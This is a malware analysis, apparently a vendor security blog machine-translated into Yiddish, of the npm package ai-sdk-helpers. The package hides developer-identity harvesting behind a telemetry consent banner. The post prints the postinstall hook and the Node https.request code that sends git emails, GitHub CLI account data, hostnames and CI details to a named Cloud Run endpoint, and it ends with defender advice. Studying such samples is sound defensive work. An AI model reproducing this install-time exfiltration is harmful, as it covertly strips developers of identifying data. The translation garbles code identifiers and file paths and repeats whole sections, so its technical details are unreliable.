ConsentMask די npm פּעקל באַהאַלטן דעוועלאָפּער אידענטיטעט כאַרוועסטינג

ConsentMask: אן npm פּעקל וואָס טראָגט אַ טעלעמעטריע צושטימונג באַנער איבער דעוועלאָפּער-ידענטיטעט כאַרוועסטינג

טל; דר

איין npm פּעקל, ai-sdk-העלפערס, שטעלט זיך פאר אלס א פראדוקציע טולקיט פארן ווערסעל קינסטלעכע אינטעליגענץ SDK, וואס אפערט קאסט טרעקינג, פראוויידער פאלבעק, און סטרימינג העלפערס.

איר אינסטאַלאַציע-צייט סקריפּט עפֿנט זיך מיט אַ פּאָלירטן אַנטפּלעקונג באַנער וואָס באַשרײַבט אַנאָנימע דיאַגנאָסטיקס, צוזאגנדיג אז קיין קוואל קאוד, טאוקענס, אדער קרעדענשעלס ווערן נישט איבערגעגעבן, רעספעקטירנדיג א DO_NOT_TRACK אויסמעקן, און לינקען צו א טעלעמעטריע פאליסי בלאט.

דער זעלביקער סקריפּט לייענט דעמאָלט דעם דעוועלאָפּער'ס גיט אידענטיטעט, גיטהאַב CLI קאָנפיגוראַציע, מאַשין האָסטנאַמע, אָפּערייטינג סיסטעם באַניצער נאָמען, אַרבעט דירעקטאָרי, און CI פּראַוויידער.

יענע דאַטן ווערן אַרויפגעשטעלט ווי JSON צו אַ גוגל קלאָוד ראַן ענדפּוינט, וואָס שאַפט אַ קלאָרע מיסמאַטש צווישן דער דערקלערטער טעלעמעטרי פּאָליטיק און די פאַקטישע געזאַמלטע פעלדער.

דאס פּעקל איז ארויסגעגעבן געוואָרן אין צוויי און צוואַנציק ווערסיעס אין איין 83-סעקונדע אויסברוך, און דער אינסטאַל סקריפּט איז בייט-פֿאַר-בייט אידענטיש איבער יעדער געמאַרקירטער ווערסיע.

זיבן פון די אַכט ווערסיעס וואָס אונדזערע האָבן איבערגעקוקט pipeline זענען געווען סקאָרד נישט קלאָר דורך די ML ​​קלאַסיפייער ווייַל די צושטימונג-באַנער סטיל לייענט זיך ווי לעגיטימע טעלעמעטרי.

מיר קלאַסיפֿיצירן ai-sdk-helpers ווי בייזוויליק באזירט אויף אינסטאַלאַציע-צייט דעוועלאָפּער אידענטיטעט זאַמלונג און עקספילטראַציע.

שטרענגקייט: הויך.

 אַנאַטאָמיע פון ​​דער אינסטאַלאַציע

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

נאָך-אינסטאַלירן לויפט אויטאָמאַטיש אויף נפּם ינסטאַלירן, איידער קיין איינע פון ​​די פּעקל'ס אַדווערטייזד קאָד ווערט אימפּאָרטירט. דער סקריפּט סקריפּטן/פּאָסטאַינסטאַל.דזשעי.עס איז וואו אַלע די אינסטאַלאַציע-צייט נאַטור לעבט.

עס עפֿנט זיך מיט אַ קאָמענטאַר בלאָק און אַ לויף-צייט נאָטיץ געשריבן אין דעם רעגיסטער פֿון אַ פּריוואַטקייט-באַוואוסטזיניגן אָפֿן-קוואַל פּראָיעקט:

ווען איר אינסטאלירט ai-sdk-helpers, פירן מיר א שנעלע סביבה קאמפאטיבילעטי טשעק און באריכטן אנאנימע דיאגנאסטיקס... די דאטן איז אינגאנצן אנאנימע — מיר זאמלען אייער פלאטפארמע, נאָוד ווערסיע, און א איין-וועג העש פון אייער מאשין אידענטיפיצירער. קיין קוואל קאוד, טאוקענס, אדער קרעדענשעלס ווערן קיינמאל נישט טראנסמיטירט.

עס פארבינדט אפילו אן ארבעטנדיקן אפ-אויס טויער, דער ערשטער עקסעקיוטעבל קאוד אין דער טעקע:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

צוזאמענשטעלן דעם טויער ערשט איז וואס מאכט די איבעריגע לייענען ווי קאנסענסועל: א דעוועלאפער וואס שטעלט `D_נישט_שפּור` זעט די אינסטאַלאַציע שטילערהייט פֿאַרענדיקן און ענדיקט אַז דער פּאַקעט רעספּעקטירט די קאָנווענץ. די רעספּעקטירטע אָפּט-אויס איז רעאַל. וואָס עס גיט, פֿאַר אַלעמען וואָס שטעלט עס נישט, איז די זאַמלונג וואָס ווערט באַשריבן אונטן — נישט די שמאָלערע "פּלאַטפאָרמע, נאָדע ווערסיע, און אַן איין-וועג העש" וואָס די נאָטיץ נעמען.

אונטער יענעם טויער, שטעלט דער סקריפּט צוזאַמען אַ פּיילאָוד וואָס גייט ווייט ווייטער פון יענער באַשרייַבונג.

  • *Gאידענטיטעט.* rסאָלוועScmאידענטיטעט()` קעפּ.גיטקאָנפֿיג`,`~.קאָנפֿיג/גיט/קאָנפֿיג`,און דעם איצטיקן פּראָיעקט'ס `.עס/קאָנפֿיג`,פארזעט דעם `[סער]` סעקציע, און גיט צוריק די קאָנפיגורירטע commit אימעיל. אויב קיין קאנפיג טעקע גיט נישט קיין אימעיל, גייט עס צוריק צום `Gט_אויטאר_אימעיל`,`GT_COMMITTER_EMAIL`,און `עאיייל` סביבה וועריאַבלען. א דאקסטרינג העכער דער פונקציע ראַמט דעם לייענען ווי אַ וועג "צו דעדופּליקאַטירן אינסטאַלאַציעס אַריבער מאַשינען וואָס געהערן צו דער זעלבער פּערזאָן (למשל לאַפּטאָפּ + CI)" - אַ דערקלערט ציל וואָס ריקווייערז אַ סטאַביל פּער-דעוועלאָפּער אידענטיפיצירער, וואָס אַ commit אימעיל סאַפּלייז.
  • *GtHub אקאונט.* rסאָלווע גיטהאַב אידענטיטעט ()` קעפּקאָנפיג/גה/האָסטס.yml` און `~קאָנפיג/גה/האָסטס.יאַמל` די קאָנפיגוראַציע טעקע געשריבן דורך די גיטהאַב CLI ווען אַ דעוועלאָפּער אויטענטיפיצירט — און רעגעקס-עקסטראַקטירט די `uער:` און עקראַנק:` פעלדער. יענע טעקע האלט אויך דעם גיטהאב OAuth טאָקען; דער סקריפּט'ס רעגעקס צילט ספּעציפֿיש אויף די באַניצער נאָמען און אימעיל שורות און עקסטראַקטירט נישט דעם טאָקען. די דיסקלאָוזשער באַנער'ס "קיין טאָקענס... ווערן קיינמאָל נישט טראַנסמיטטעד" טענה איז דעריבער ממש אמת פֿאַר יענעם איין פעלד בשעת די אַרומיקע חשבון אידענטיפֿיקאַטאָרן ווערן געלייענט און געשיקט.
  • *Hסט און סי אי פינגער-אפדרוק.* דער סקריפּט זאַמלט דאַן `o.האָסטנאַמע()`,`o.באַניצעראינפֿאָ().באַניצער נאָמען`,די נאָדע ווערסיע, פּלאַטפאָרמע און אַרכיטעקטור, `pאָסעסס.cwd()`,און א CI-פראוויידער לייבל וואס ווערט אויסגעלייזט דורך קאנטראלירן ענווייראמענט וועריאַבלען פאר אכט פראוויידערס (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, און צוויי דזשענעריק-CI פלעגס). די פראוויידער ליסטע לייענט זיך ווי אן אינווענטאר פון וואו דער סקריפּט ערווארטעט אויסצופירן — אינטעראקטיווע שעלז און אויטאמאטישע בילדינג. pipelineס ענלעך.

אַלע פון ​​זיי זענען גרופּירט אין איין `dאַגנאָסטיקער אביעקט, מיט די פער-דעוועלאָפּער פעלדער געזאמלט אונטער אן `iענטיטי` עי און די באַלעבאָס דאַטן אונטער `רצייט און `cנטעקסט` אויגן, דערנאך סעריאַליזירט און טראַנסמיטטעד:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

די ענטפער ווערט אוועקגעוואָרפן און אַלע טעותים ווערן געשלונגען — אַ באַמערקונג באַמערקט אַז "טעלעמעטריע טאָר קיינמאָל נישט צעברעכן די אינסטאַלאַציע." דער ענדפּוינט האָסטנאַמע קאָדירט אַ גוגל קלאָוד ראַן סערוויס אין די `eשטריק-וועסט1` געגנט

דער ריס איז די מעשה. דער באַנער נעמט אָן דריי קאַטעגאָריעס פון דאַטן — פּלאַטפאָרמע, נאָדע ווערסיע, מאַשין-ידענטיפיער העש. די פּיילאָוד שיקט אַ דעוועלאָפּער'ס עכטע גיט. commit אימעיל, זייער גיטהאב באניצער נאמען און אימעיל, זייער מאשין האוסטנאמען און אפערירן סיסטעם אקאונט נאמען, זייער פראיעקט וועג, און זייער CI סביבה. די פעלדער וואס אידענטיפיצירן א *pרסאָן און זייערע אַקאַונטס* זענען פּונקט די פעלדער וואָס די אַנטפּלעקונג אויסלאָזט.

די README פארשטארקט די פרעמינג פון דער אנדערער זייט. איר "טעלעמעטריע" סעקציע איבערחזרט די אנאנימיטעט טענה און פארבינדט דאס ווארט `D_נישט_שפּור` אָ`קnsoledonottrack.com`,די עכטע קהילה בלאַט וואָס דאָקומענטירט די אָפּט-אויס קאָנווענשאַן — באָרגן אַ דערקענט פּריוואַטקייט standard צו מאַכן די נאָטיץ לייענען ווי רוטין.

טיימליין

דאָס איז אַן איינציק-פּאַקעט געפינס מיט אַ זייער קורצער, זייער געדיכטער פּובליקאַציע געשיכטע. עס איז נישטאָ קיין קאַמפּיין אַרק וואָס האָט געדויערט עטלעכע וואָכן צו שפּורן — די גאַנצע ווערסיע קייט איז געשטופּט געוואָרן מיט מאַשין גיכקייט.

ווען (UTC) געשעעניש
2026-06-03 20:31:20 ערשטע ווערסיע (0.1.0) ארויסגעגעבן צו npm.
2026-06-03 20:31:20 – 20:32:43 אַלע 22 ווערסיעס (0.1.0 דורך 1.4.2) ארויסגעגעבן אין א 83-סעקונדע אויטאמאטישע אויסברוך.
2026-06-04 אַכט ווערסיעס געצייכנט דורך דעטעקציע סיגנאַלן; מאַנועלע אַנאַליז באַשטעטיקט אידענטיטעט זאַמלונג און עקספילטראַציע בעת דער אינסטאַלאַציע. פּאַקעט איז געבליבן לעבעדיק אויף npm אין דער צייט פון אַנאַליז.

די 83-סעקונדע פֿענצטער איבער 22 סעמאַנטישע ווערסיעס איז אַליין אַ נאַטור-אינדיקאַטאָר: די ווערסיע-לייטער (`01.0`,`01.1`,... `14.2`)פּרעזענטירט די ייבערפלאַך פון אַן אַקטיוו געהאַלטן פּראָיעקט מיט אַ מעלדונג געשיכטע, פּראָדוצירט אין איין סקריפּטעד לויף. דער ינסטאַלל סקריפּט ענדערט זיך נישט איבער יענער לייטער — זעט ווייטער.

אינדיקאַטאָרן פון קאָמפּראָמיס

די אינסטאַלאַציע-צייט פּיילאָוד איז אידענטיש איבער די פאַרעפֿנטלעכטע ווערסיע קייט.פֿפֿ פֿסריפּטס/פּאָסטאַינסטאַל.דזשעי` צווישן ווערסיע `02.1 ' די ווערסיע `14.2 ' גיט נישט קיין אונטערשיידן צוריק; די אויפפירונג איז איין פעסטער פינגער-אפדרוק, נישט אן עוואלוציאנעלער לאוד.

נעץ

די 83-סעקונדע פֿענצטער איבער 22 סעמאַנטישע ווערסיעס איז אַליין אַ נאַטור-אינדיקאַטאָר: די ווערסיע-לייטער (`01.0`,`01.1`,... `14.2`)פּרעזענטירט די ייבערפלאַך פון אַן אַקטיוו געהאַלטן פּראָיעקט מיט אַ מעלדונג געשיכטע, פּראָדוצירט אין איין סקריפּטעד לויף. דער ינסטאַלל סקריפּט ענדערט זיך נישט איבער יענער לייטער — זעט ווייטער.

אינדיקאַטאָרן פון קאָמפּראָמיס

די אינסטאַלאַציע-צייט פּיילאָוד איז אידענטיש איבער די פאַרעפֿנטלעכטע ווערסיע קייט.פֿפֿ פֿסריפּטס/פּאָסטאַינסטאַל.דזשעי` צווישן ווערסיע `02.1 ' די ווערסיע `14.2 ' גיט נישט קיין אונטערשיידן צוריק; די אויפפירונג איז איין פעסטער פינגער-אפדרוק, נישט אן עוואלוציאנעלער לאוד.

נעץ

ינדיקאַטאָר ראָלע
npm-package-logger-228835561205.europe-west1.run.app עקספילטראַציע ענדפּוינט וואָס באַקומט HTTPS POST ריקוועסץ מיט JSON פּיילאָודז. געהאָוסטעד אויף גוגל קלאָוד לויף אין די europe-west1 געגנט.

דעקאָי אינפראַסטרוקטור

ינדיקאַטאָר ראָלע
ai-sdk.guide פּאַקעט היים בלאַט און לעבעדיקע וועבזייטל וואָס שטיצט די "AI SDK גייד" מחבר אידענטיטעט.
ai-sdk.guide/telemetry טעלעמעטריע פּאָליטיק URL רעפערענצירט אין דער אינסטאַלאַציע-צייט אַנטפּלעקונג נאָטיץ.
hello@ai-sdk.guide מחבר אימעיל דערקלערט אין package.json.
github.com/ai-sdk-guide/ai-sdk-helpers קוואַל רעפּאָזיטאָרי דערקלערט דורך דעם פּאַקעט.

טעקעס לייענען ביי דער אינסטאַלאַציע צייט

  • -.גיטקאָנפֿיג`,`~.קאָנפֿיג/גיט/קאָנפֿיג`,`<wd>/.git/config` גיט `[סער]` פּאָסט
  • - .קאָנפֿיג/גה/האָסטס.yml`,`~קאָנפיג/גה/האָסטס.יאַמל` גיטהאב CLIער` `eקראַנק

נאַטורלעכע סיגנאַטורן

  • – מ`פּשטילשטעלן אויך רופן אן אייַנגעבונדענעם נאָדע סקריפּט
  • – אויסקלייבן טויער (`א_SDK_HELPERS_TELEMETRIE_DISABLED`,`D_נישט_שפּור`)פּרעזענטירט ווי אַ פּריוואַטקייט פֿונקציע, פֿאַר אידענטיטעט זאַמלונג
  • – tbound HTTPS POST פון אַ JSON אָביעקט וואָס כּולל גיט אימעיל, גיטהאַב אידענטיטעט, האָסטנאַמע, אָפּערייטינג סיסטעם באַניצער נאָמען, cwd, און CI לייבל
  • – אידענטישע אינסטאַלאַציע סקריפּט איבער אַ שנעל פאַרעפֿנטלעכטע ווערסיע לייטער

 צושרייבונג און באמערקטע אויפפירונג
מיר צושרייבן גאָרנישט ווייטער ווי וואָס דער פּעקל און רעגיסטרי מעטאַדאַטאַ רעקאָרדירט.

דער npm אויפהאלטער פון רעקארד איז דער אקאונט `aיעלסימאן`,מיטן אַדרעס `aiel@vigilance.security`.די רעגיסטרי ליסטירט יענע אימעיל אלס נישט וועריפיצירט און די אקאונט'ס קוואל-קאנטראל אידענטיטעט אלס נישט וועריפיצירט. די `pckage.json`,באַזונדער, פּרעזענטירט דעם מחבר ווי "AI SDK גייד"ello@ai-sdk.guide>`”מיט אַ היים בלאַט פֿון `אַ-sdk.guide` און אַ קוואַל רעפּאָזיטאָרי אונטער אַ `g`thub.com/ai-sdk-guide` אָרגאַניזאַציע. די אימעיל דאָמעין פֿונעם פּובליקאַציע אַקאַונט (`vigilance.security`)און די אין-פּעקל מחבר אידענטיטעט (`a-sdk.guide`)זענען פֿאַרשידענע דאָמעינען.

די `אַ-sdk.guide` איטע איז לעבעדיק און ענטפֿערט, און די `/עלעמעטריע ath רעזאלווז — די אידענטיטעט פון די דעקאי ווערט געשטיצט דורך א דערגרייכבארע וועב אנוועזנהייט אנשטאט א טויטן לינק, וואס הייבט די גלויבווערדיקייט פון דעם פעקל'ס פרעימינג.

**באאבאכטע מעגלעכקייט.** ביים אינסטאלירן, לייענט דער פּעקל די אידענטיטעט פון די דעוועלאָפּער און קאָנטאָ-קאָנפֿיגוראַציע טעקעס, נעמט פינגערפּרינטן פֿון דער האָסט און CI סביבה, און טראַנסמיטירט דעם רעזולטאַט צו אַן אָפּעראַטאָר-קאָנטראָלירטן ענדפּוינט, בשעת עס ווײַזט אַ נאָטיץ וואָס באַשרײַבט אַ שמאָלערן און אַנאָנימיזירטן דאַטן-זאַמלונג. מיר באַשרײַבן דעם נאַטור; מיר באַהויפּטן נישט קיין מאָטיוו דערפֿאַר. לייענער וואָס אָפּשאַצן דעם פּעקל — אַרײַנגערעכנט יעדע פּאַרטיי וואָס דערקענט די פּובליקאַציע-אידענטיטעט — זאָלן אָפּוועגן דעם באאבאכטבאַרן נישט-גלייכגעוויכט צווישן די געזאָגטע און פאַקטישע דאַטן-פֿלוסן.

השפּעה, טרענדס און גיידאַנס פֿאַר פֿאַרטיידיקער

ווער איז אויסגעשטעלט. ווער עס אינסטאלירט ai-sdk-העלפערס — דירעקט אדער אלס א טראַנזיטיווע דעפּענדענסי — לויפט די זאַמלונג אויף יענער מאַשין. ווייל דער טריגער איז נאָך-אינסטאַלירן, דער אדווערטייזטער ביבליאָטעק קאָד דאַרף קיינמאָל נישט ווערן אימפארטירט כּדי דער דאַטן פלוס זאָל פּאַסירן; די אינסטאַלאַציע אַליין איז גענוג. די העכסט-ווערט סביבות זענען דעוועלאָפּער וואָרקסטיישאַנז מיט אַ קאָנפיגורירטער גיט אידענטיטעט און אַן אויטענטיפיצירטער גיטהאַב CLI, און CI ראַנערס, וואו די סקריפּט'ס CI-פּראַוויידער דעטעקציע ווייזט אַז די זאַמלונג ווערט ערוואַרטעט צו לויפן אינעווייניק בילד. pipelineס ווי אויך אויף לאַפּטאַפּס.

וואָס עס אַנטפּלעקט. נישט אַפּליקאַציע סודות אין דעם אַלגעמיינעם פאַל — די פּיילאָוד צענטערט זיך אויף אידענטיטעט: דער דעוועלאָפּער'ס commit אימעיל, זייער גיטהאב אקאונט נאמען און אימעיל, די מאשין און אקאונט נעמען, און דער פראיעקט וועג. דאס איז א פאר-cisא מאַפּע פון ​​ווער האָט אינסטאַלירט דעם פּעקל, אויף וועלכער מאַשין, אין וועלכער רעפּאָזיטאָרי, און אונטער וועלכער CI סיסטעם. פֿאַר אַן אָרגאַניזאַציע, וואָלט אַ האַנדפול פון אַזעלכע רעקאָרדס צוזאַמען אויסגערעכנט וועלכע אינזשענירן און וועלכע בויען סיסטעמען האָבן געצויגן די דעפּענדענסי — נוצלעך ווי אַ פאָרגייער צו מער געצילטע פאָלגנדיקע טעטיקייט, אפילו כאָטש דעם פּעקל'ס אייגענע נאַטור שטעלט זיך אָפּ ביי זאַמלונג און טראַנסמיסיע.

דער טרענד: טעלעמעטריע אלס דעקונג. לעגיטימע דעוועלאָפּער מכשירים זאַמלען יאָ אַנאָנימיזירטע אינסטאַל דיאַגנאָסטיקס, און די קאָנווענשאַנז פֿאַר טאָן דאָס רעספּעקטפול — אַ דיסקלאָוזשער נאָטיץ, אַ נישט_שפּור כּבֿוד, אַן אָפּט-אויס פאָן, אַ פּאָליטיק URL — זענען באַקאַנט. ai-sdk-העלפערס רעפּראָדוצירט אַלע פיר פון די קאָנווענשאָנס געטריי און ניצט זיי ווי די אַרומוויקלער פֿאַר אידענטיטעט זאַמלונג. די בייַזייַן פון אַ צושטימונג באַנער, אַ אַרבעטנדיק אָפּט-אויס, אָדער אַ פּריוואַטקייט-פּאָליטיק לינק איז נישט קיין באַווייַז אַז אַ פּעקל איז טראַסטווערדי; די קאָנטראָלס זענען ביליק צו נאָכמאַכן. די איינציקע פאַרלאָזלעכע קאָנטראָל איז וואָס דער קאָד טאַקע לייענט און וווּ עס שיקט עס טאַקע.

די פּאַקאַדזשינג האט אויך אַ מעסטבארן ווירקונג אויף אויטאָמאַטישן טריאַזש. איבער די ווערסיעס אונדזער pipeline איבערגעקוקט, די אינסטאַל סקריפּט'ס פּשוט-שפּראַכיקע באַמערקונגען, סטרוקטורירטע פעלד נעמען, און קאַנווענשאַנאַל אָפּט-אויס טויער זענען געווען סקאָרד ווי געוויינטלעך טעלעמעטרי: זיבן פון די אַכט זענען צוריקגעקומען ינקאַנקלוסיוו פונעם ML קלאַסיפֿיקאַטאָר אַנשטאָט בייזוויליק. דער סיגנאַל וואָס לייזט די אַמביגואַטי איז נישט אין דער פּראָזע — עס איז אין די ספּעציפֿישע טעקעס וואָס דער סקריפּט עפֿנט (~ / .גיטקאָנפיג, ~/.config/gh/hosts.yml) און די דעסטינאציע צו וועלכער עס שיקט. א רעצענזענט, אויטאמאטיש אדער מענטשליך, וואס לייענט די אפדעקונג און שטעלט זיך דארט אפ וועט דערגרייכן די אומרעכטע מסקנא; די באשלוס מוז קומען פון די דאטן-פלוס פאקטן.

אנווייזונגען פֿאַר פֿאַרטיידיקער:

  • אינסטאַלירן מיט סקריפּטן אויסגעלאָשן דורך פעליקייט — npm אינסטאַלירן –איגנאָרירן-סקריפּס, אדער שטעלן איגנאָרירן-סקריפּטן=אמת in .npmrc און אויספירן קאנטראלירטע בוי-סטעפס אויסדריקליך. דאס נויטראליזירט נאָך-אינסטאַלירן-געטריגערטע זאַמלונג איבערן גאַנצן ברעט.
  • באַהאַנדלט נישט אָפּט-אויס קאָנטראָלן ווי צוטרוי סיגנאַלן. נישט_שפּור א טשעק אדער א "טעלעמעטרי פאליסי" לינק זאגט אייך גארנישט וועגן די דאטן וואס א סקריפט זאמלט ווען דער טויער איז נישט איינגעשטעלט.
  • ליינט דעם אינסטאל קרוק איידער איר נעמט אן AI-עקאסיסטעם העלפער פעקלעך. די ווערסעל AI SDK ספעיס איז א שנעל-באוועגלעכע, הויך-פארטרוי ציל; א נאָך-אינסטאַלירן וואָס רירט ~ / .גיטקאָנפיג or ~/.config/gh/ איז א קלארער סיגנאל נישט קוקנדיק אויף ווי אזוי די ארומיגע באמערקונגען זענען געשריבן.
  • מאָניטאָרירן בילד-צייט אַרויסגאַנג. אַן אַרויסגייענדיק HTTPS POST בעת נפּם ינסטאַלירן, ספּעציעל צו אַ פריש צוגעשטעלטן וואָלקן-פונקציע ענדפּוינט, איז באַאָבאַכטבאַר ביים נעץ שיכט און איז אַ שטאַרקער דעטעקציע-פונקט פֿאַר CI סביבות.
  • זוכט אויס קאמפרעסט ווערסיע לייטערס. א פעקל וועמענס גאנצע סעמאַנטיק-ווערסיע געשיכטע דערשיינט אין סעקונדעס, מיט אן אומגעביטענעם אינסטאַל סקריפּט, ווייזט א פאבריצירטע אויפהאלטונג געשיכטע.
סקאַ-טולס-סאָפֿטווער-קאָמפּאָזיציע-אַנאַליז-טולס
פּריאָריטיזירן, פאַרריכטן און זיכערן אייערע ווייכווארג ריזיקעס
באַקומען דיין פריי חשבון.
קיין קרעדיט קאַרטל פארלאנגט.

זיכערן אייער ווייכווארג אנטוויקלונג און ליפערונג

מיט Xygeni פּראָדוקט סוויט